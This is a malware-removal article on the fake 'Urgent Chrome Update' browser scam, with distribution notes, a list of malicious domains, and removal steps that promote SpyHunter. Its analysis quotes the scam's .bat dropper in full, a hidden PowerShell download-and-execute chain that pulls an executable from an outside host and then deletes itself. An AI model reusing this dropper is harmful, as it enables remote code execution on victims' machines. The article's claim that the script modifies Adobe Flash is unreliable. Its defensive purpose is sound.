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Urgent Chrome Update “Virus” – How to Remove It

The article will aid you to remove the Urgent Chrome Update “virus” completely. Follow the malware removal instructions at the bottom of the article.

Urgent Chrome Update “virus” is a fake message that tries to scare you or rather trick you into launching whatever file is hosted on it. It usually comes in the form of a pop-up, but it may also open a whole page or a new tab by switching to that page. Amazon, Facebook, Yahoo and e-mail messages are reported to redirect you or even spawn this fake message. What happens is that it automatically downloads a file called chrome-update.bat and if you run it, your whole system could get encrypted. Other causes, such as installing less dangerous malware into your system, like an adware or a browser hijacker are also possible outcomes.

Threat Summary

Name Urgent Chrome Update "Virus"
Type Redirect, Scam, PUP
Short Description You see a message saying Urgent Chrome Update, while the page auto-downloads a .bat file. Opening the file encrypts your computer system.
Symptoms You are redirected to a page which has a message stating that you need an Urgent Chrome Update that is fake.
Distribution Method Freeware Installations, Bundled Packages, Redirects from Sites
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Urgent Chrome Update “Virus” – Distribution

The spawning of the Urgent Chrome Update message could be distributed with various methods, the most reported of which is via e-mails and redirects from social networks. Reported networks that have been compromised or used for generating redirects with the Urgent Chrome Update messages are the following:

  • Facebook
  • Tumblr
  • Reddit
  • Pinterest
  • Yahoo and its services
  • Amazon and related sites

Other sites could have been compromised as well (or more likely their advertisements). These websites and social networks are not spreading the malicious file or redirect themselves, it’s just that the malware author chose them or found vulnerabilities to exploit to spread his program. Sometimes there is an .hta file, instead of the .bat one that contains a script with a download which encrypts your system or an adware version where you keep seeing the Urgent Chrome Update message along with lots of advertisements. Sometimes these files are programmed to show an installer setup before making changes to your computer to seem legitimate. Some of the setups could be inside a more aggressive adware installer coming with a bundle package.

Urgent Chrome Update is not excluded to be distributed with other methods, like add-ons or extensions added to your browser. When installed, they could start showing you advertisements, such as banners, pop-ups, pop-unders, whole page adverts and redirect you to various places online. Mainly the Google Chrome browser is affected, but the Urgent Chrome Update might show in other browsers.

Urgent Chrome Update “Virus” – Analysis

The Urgent Chrome Update message not to be treated lightly as it contains threats that can affect your computer machine in a bad way. Its malicious intent is undoubtedly present. The message is triggered from a redirect stemming either your e-mail service or a popular website which is either a social network or some kind of a site that sells goods. The most commonly exploited ones were mentioned in the Distribution section above. What happens next is that you see the Urgent Chrome Update message in either a pop-up, full-page notification or something similar. An example of one such redirect leading to a full-page message is shown below:

As you can see, the message is convincing as it uses the same logo as the Google Chrome browser, but also the same page design and button designs. What should throw you off is the domain that is shown in the URL address bar – it is unfamiliar and not known to be official, it is long and makes no sense. Examples of actual domain addresses which have spammed and spread Urgent Chrome Update messages are the following:

  • https://wegoobackonpointe.org
  • https://eeteeinsightsoft.org/1171650884382/
  • https://johjukrawall.net/8742906595196/7124820f2e8a80b357e0aa4ab96d705a
  • https://eishuscanmyessay.net/4882906595196/
  • https://aihahconsumerproductexposed.net/8712906595196/
  • https://yungionpage-tool.net/8161207311627/
  • https://yungionpage-tool.net/4561660827396/
  • https://kohphcctcct.net/3591668561808/
  • https://ws-00921qlk.r.worldssl.net/2401825818691/
  • https://elaetbucketexplorer.net/531841073279/
  • https\\:securebrowser.online
  • https://www.venturead.com/a/display.php?r=1113014
  • https://cubaedanto.net/9121124784762/
  • https://mahseeksperttv.com/7521817513667/
  • https://ibeelautotravel.com/7371071833663/ed5067ae87d7821e21bd0aec93e62c0b/
  • https://eliewgadgec.org/2952926573219/cb7b9f9616e585ea1a831bccdd7364b9/
  • https://aamaebuzzbookmarks.com/1151266950534/93f9b6c8b205a119425610de94d44d09/
  • https://vuxaibookmarkplayer.org/7191235857935/c2a6044c4797586dba118a4b1a5fc10e/
  • https://haephofcourse.org/6852925739117/0f19c4437a980572983c94a373660da8/
  • kxan.com
  • https://eaqueinfobar.com/8541824387942/
  • https://uabaetudoparawordpress.com/144850685323/
  • kiss-anime.me
  • https://akeeckickette.org/733679796354/
  • allrecipes.com
  • https://aesipspaghetticoder.org/7691828163121/
  • https://niaghmarykayintouch.org/1091828163121/
  • https://leejopr-canada.com/176848260300/
  • https://zahnopolicytiger.com/4211635439938/42c6aa8fc87ef7cddbaea42cb96f9664/
  • earthsky.org

All of the above URLs are just for referential purposes and not complete – do not visit or download anything from them. From all of the above URLs, the Urgent Chrome Update message will be displayed and once loaded it will automatically download a file. The file has the following variations:

  • chrome-update.bat
  • chrome-update.hta
  • chrome-update.vbs
  • chrome-update.zip

Some of these files could launch a setup, trying to copy the one of Google Chrome, but could also use a similar logo, which is not exactly the same. You can see an example of such a setup from the below picture:

Any of these files are stored inside the following location:


They also make changes to the following registry entries:


→HKCU\Software\Microsoft\Windows\Current Version\Internet Settings\Connections


This could mean that the innate Windows PowerShell Remote Access Server is accessed and could be used to download a setup for malware or a decryption program and execute it. Inside the .bat file you can see the following code:

@echo off
echo a=new ActiveXObject(‘Wscript.Shell’);a.run(“PowerShell -WindowStyle Hidden $d=$env:temp+’\\16330788701ac441736751e3ee3c6996.exe’;(New-Object System.Net.WebClient).DownloadFile(‘https://eeteeinsightsoft.org/17/524.dat’,$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName(‘System.Windows.Forms’);[system.windows.forms.messagebox]::show(‘Update complete.’,’Information’,[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)”,0,false); >”%temp%\install_flash.js”
start /min “” wscript.exe “%temp%\install_flash.js”
DEL “%~f0

It downloads a file via that script from a domain and tries to hide it, also installs a JavaScript object into Adobe Flash which could run more fake messages, advertisements or other malware. In case you see files downloaded on your computer that have not been downloaded by you and are not authorized, do not run them and just delete them. Then you should definitely run a full scan with an Anti-Virus and an Anti-Malware tool to be certain no leftovers have remained hidden on your personal computer.

In case a browser hijacker version is developed or you have installed a file related to the Urgent Chrome Update, and you notice your browser is changed, do not enter any information in its search bars. Be careful of what data you provide on such search pages, if that is your only browser available and you need to gather information about the situation. Don’t be clicking on suspicious advertisements or links that are displayed by the Urgent Chrome Update.

Urgent Chrome Update “Virus” – How to Remove It

To remove Urgent Chrome Update message and its files manually from your computer, follow the step-by-step removal instructions provided below. In case the manual removal does not get rid of the message, redirect and its files completely, you should search for and remove any leftovers with an advanced anti-malware tool. Such a program can keep your computer safe in the future.

Berta Bilbao

Berta is a dedicated malware researcher, dreaming for a more secure cyber space. Her fascination with IT security began a few years ago when a malware locked her out of her own computer.

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How to Remove Urgent Chrome Update "Virus" from Windows.

Step 1: Boot Your PC In Safe Mode to isolate and remove Urgent Chrome Update "Virus"


Manual Removal Usually Takes Time and You Risk Damaging Your Files If Not Careful!
We Recommend To Scan Your PC with SpyHunter

Keep in mind, that SpyHunter’s scanner is only for malware detection. If SpyHunter detects malware on your PC, you will need to purchase SpyHunter's malware removal tool to remove the malware threats. Read our SpyHunter 5 review. Click on the corresponding links to check SpyHunter's EULA, Privacy Policy and Threat Assessment Criteria

1. Hold Windows key() + R

2. The "Run" Window will appear. In it, type "msconfig" and click OK.

3. Go to the "Boot" tab. There select "Safe Boot" and then click "Apply" and "OK".
Tip: Make sure to reverse those changes by unticking Safe Boot after that, because your system will always boot in Safe Boot from now on.

4. When prompted, click on "Restart" to go into Safe Mode.

5. You can recognise Safe Mode by the words written on the corners of your screen.

Step 2: Uninstall Urgent Chrome Update "Virus" and related software from Windows

Here is a method in few easy steps that should be able to uninstall most programs. No matter if you are using Windows 10, 8, 7, Vista or XP, those steps will get the job done. Dragging the program or its folder to the recycle bin can be a very bad decision. If you do that, bits and pieces of the program are left behind, and that can lead to unstable work of your PC, errors with the file type associations and other unpleasant activities. The proper way to get a program off your computer is to Uninstall it. To do that:

1. Hold the Windows Logo Button and "R" on your keyboard. A Pop-up window will appear.

2. In the field type in "appwiz.cpl" and press ENTER.

3. This will open a window with all the programs installed on the PC. Select the program that you want to remove, and press "Uninstall"
Follow the instructions above and you will successfully uninstall most programs.

Step 3: Clean any registries, created by Urgent Chrome Update "Virus" on your computer.

The usually targeted registries of Windows machines are the following:

  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

You can access them by opening the Windows registry editor and deleting any values, created by Urgent Chrome Update "Virus" there. This can happen by following the steps underneath:

1. Open the Run Window again, type "regedit" and click OK.

2. When you open it, you can freely navigate to the Run and RunOnce keys, whose locations are shown above.

3. You can remove the value of the virus by right-clicking on it and removing it.
Tip: To find a virus-created value, you can right-click on it and click "Modify" to see which file it is set to run. If this is the virus file location, remove the value.

Before starting "Step 4", please boot back into Normal mode, in case you are currently in Safe Mode.
This will enable you to install and use SpyHunter 5 successfully.

Step 4: Scan for Urgent Chrome Update "Virus" with SpyHunter Anti-Malware Tool

1. Click on the "Download" button to proceed to SpyHunter's download page.

It is recommended to run a scan before purchasing the full version of the software to make sure that the current version of the malware can be detected by SpyHunter. Click on the corresponding links to check SpyHunter's EULA, Privacy Policy and Threat Assessment Criteria.

2. After you have installed SpyHunter, wait for it to update automatically.


3. After the update process has finished, click on the 'Malware/PC Scan' tab. A new window will appear. Click on 'Start Scan'.


4. After SpyHunter has finished scanning your PC for any files of the associated threat and found them, you can try to get them removed automatically and permanently by clicking on the 'Next' button.


If any threats have been removed, it is highly recommended to restart your PC.

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Get rid of Urgent Chrome Update "Virus" from Mac OS X.

Step 1: Uninstall Urgent Chrome Update "Virus" and remove related files and objects

Manual Removal Usually Takes Time and You Risk Damaging Your Files If Not Careful!
We Recommend To Scan Your Mac with SpyHunter for Mac
Keep in mind, that SpyHunter for Mac needs to purchased to remove the malware threats. Click on the corresponding links to check SpyHunter’s EULA and Privacy Policy

1. Hit the ⇧+⌘+U keys to open Utilities. Another way is to click on “Go” and then click “Utilities”, like the image below shows:

2. Find Activity Monitor and double-click it:

3. In the Activity Monitor look for any suspicious processes, belonging or related to Urgent Chrome Update "Virus":

Tip: To quit a process completely, choose the “Force Quit” option.

4. Click on the "Go" button again, but this time select Applications. Another way is with the ⇧+⌘+A buttons.

5. In the Applications menu, look for any suspicious app or an app with a name, similar or identical to Urgent Chrome Update "Virus". If you find it, right-click on the app and select “Move to Trash”.

6: Select Accounts, after which click on the Login Items preference. Your Mac will then show you a list of items that start automatically when you log in. Look for any suspicious apps identical or similar to Urgent Chrome Update "Virus". Check the app you want to stop from running automatically and then select on the Minus (“-“) icon to hide it.

7: Remove any left-over files that might be related to this threat manually by following the sub-steps below:

  • Go to Finder.
  • In the search bar type the name of the app that you want to remove.
  • Above the search bar change the two drop down menus to “System Files” and “Are Included” so that you can see all of the files associated with the application you want to remove. Bear in mind that some of the files may not be related to the app so be very careful which files you delete.
  • If all of the files are related, hold the ⌘+A buttons to select them and then drive them to “Trash”.

In case you cannot remove Urgent Chrome Update "Virus" via Step 1 above:

In case you cannot find the virus files and objects in your Applications or other places we have shown above, you can manually look for them in the Libraries of your Mac. But before doing this, please read the disclaimer below:

Disclaimer! If you are about to tamper with Library files on Mac, be sure to know the name of the virus file, because if you delete the wrong file, it may cause irreversible damage to your MacOS. Continue on your own responsibility!

1: Click on "Go" and Then "Go to Folder" as shown underneath:

2: Type in "/Library/LauchAgents/" and click Ok:

3: Delete all of the virus files that have similar or the same name as Urgent Chrome Update "Virus". If you believe there is no such file, do not delete anything.

You can repeat the same procedure with the following other Library directories:

→ ~/Library/LaunchAgents

Tip: ~ is there on purpose, because it leads to more LaunchAgents.

Step 2: Scan for and remove Urgent Chrome Update "Virus" files from your Mac

When you are facing problems on your Mac as a result of unwanted scripts and programs such as Urgent Chrome Update "Virus", the recommended way of eliminating the threat is by using an anti-malware program. SpyHunter for Mac offers advanced security features along with other modules that will improve your Mac’s security and protect it in the future.

Click the button below below to download SpyHunter for Mac and scan for Urgent Chrome Update "Virus":


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Remove Urgent Chrome Update "Virus" from Google Chrome.

Step 1: Start Google Chrome and open the drop menu

Step 2: Move the cursor over "Tools" and then from the extended menu choose "Extensions"

Step 3: From the opened "Extensions" menu locate the unwanted extension and click on its "Remove" button.

Step 4: After the extension is removed, restart Google Chrome by closing it from the red "X" button at the top right corner and start it again.

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Erase Urgent Chrome Update "Virus" from Mozilla Firefox.

Step 1: Start Mozilla Firefox. Open the menu window

Step 2: Select the "Add-ons" icon from the menu.

Step 3: Select the unwanted extension and click "Remove"

Step 4: After the extension is removed, restart Mozilla Firefox by closing it from the red "X" button at the top right corner and start it again.

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Uninstall Urgent Chrome Update "Virus" from Microsoft Edge.

Step 1: Start Edge browser.

Step 2: Open the drop menu by clicking on the icon at the top right corner.

Step 3: From the drop menu select "Extensions".

Step 4: Choose the suspected malicious extension you want to remove and then click on the gear icon.

Step 5: Remove the malicious extension by scrolling down and then clicking on Uninstall.

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Remove Urgent Chrome Update "Virus" from Safari.

Step 1: Start the Safari app.

Step 2: After hovering your mouse cursor to the top of the screen, click on the Safari text to open its drop down menu.

Step 3: From the menu, click on "Preferences".

stf-safari preferences

Step 4: After that, select the 'Extensions' Tab.


Step 5: Click once on the extension you want to remove.

Step 6: Click 'Uninstall'.

stf-safari uninstall

A pop-up window will appear asking for confirmation to uninstall the extension. Select 'Uninstall' again, and the Urgent Chrome Update "Virus" will be removed.

How to Reset Safari
IMPORTANT: Before resetting Safari make sure you back up all your saved passwords within the browser in case you forget them.

Start Safari and then click on the gear leaver icon.

Click the Reset Safari button and you will reset the browser.

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Eliminate Urgent Chrome Update "Virus" from Internet Explorer.

Step 1: Start Internet Explorer.

Step 2: Click on the gear icon labeled 'Tools' to open the drop menu and select 'Manage Add-ons'

Step 3: In the 'Manage Add-ons' window.

Step 4: Select the extension you want to remove and then click 'Disable'. A pop-up window will appear to inform you that you are about to disable the selected extension, and some more add-ons might be disabled as well. Leave all the boxes checked, and click 'Disable'.

Step 5: After the unwanted extension has been removed, restart Internet Explorer by closing it from the red 'X' button located at the top right corner and start it again.

Remove Push Notifications caused by Urgent Chrome Update "Virus" from Your Browsers.

Turn Off Push Notifications from Google Chrome

To disable any Push Notices from Google Chrome browser, please follow the steps below:

Step 1: Go to Settings in Chrome.


Step 2: In Settings, select “Advanced Settings”:

advanced settings

Step 3: Click “Content Settings”:

Content Settings

Step 4: Open “Notifications”:


Step 5: Click the three dots and choose Block, Edit or Remove options:

Block, Edit or Remove

Remove Push Notifications on Firefox

Step 1: Go to Firefox Options.


Step 2: Go to “Settings”, type “notifications” in the search bar and click "Settings":


Step 3: Click “Remove” on any site you wish notifications gone and click “Save Changes”

remove push notifications firefox

Stop Push Notifications on Opera

Step 1: In Opera, press ALT+P to go to Settings


Step 2: In Setting search, type “Content” to go to Content Settings.

content settings

Step 3: Open Notifications:


Step 4: Do the same as you did with Google Chrome (explained below):

three dots

Eliminate Push Notifications on Safari

Step 1: Open Safari Preferences.


Step 2: Choose the domain from where you like push pop-ups gone and change to "Deny" from "Allow".

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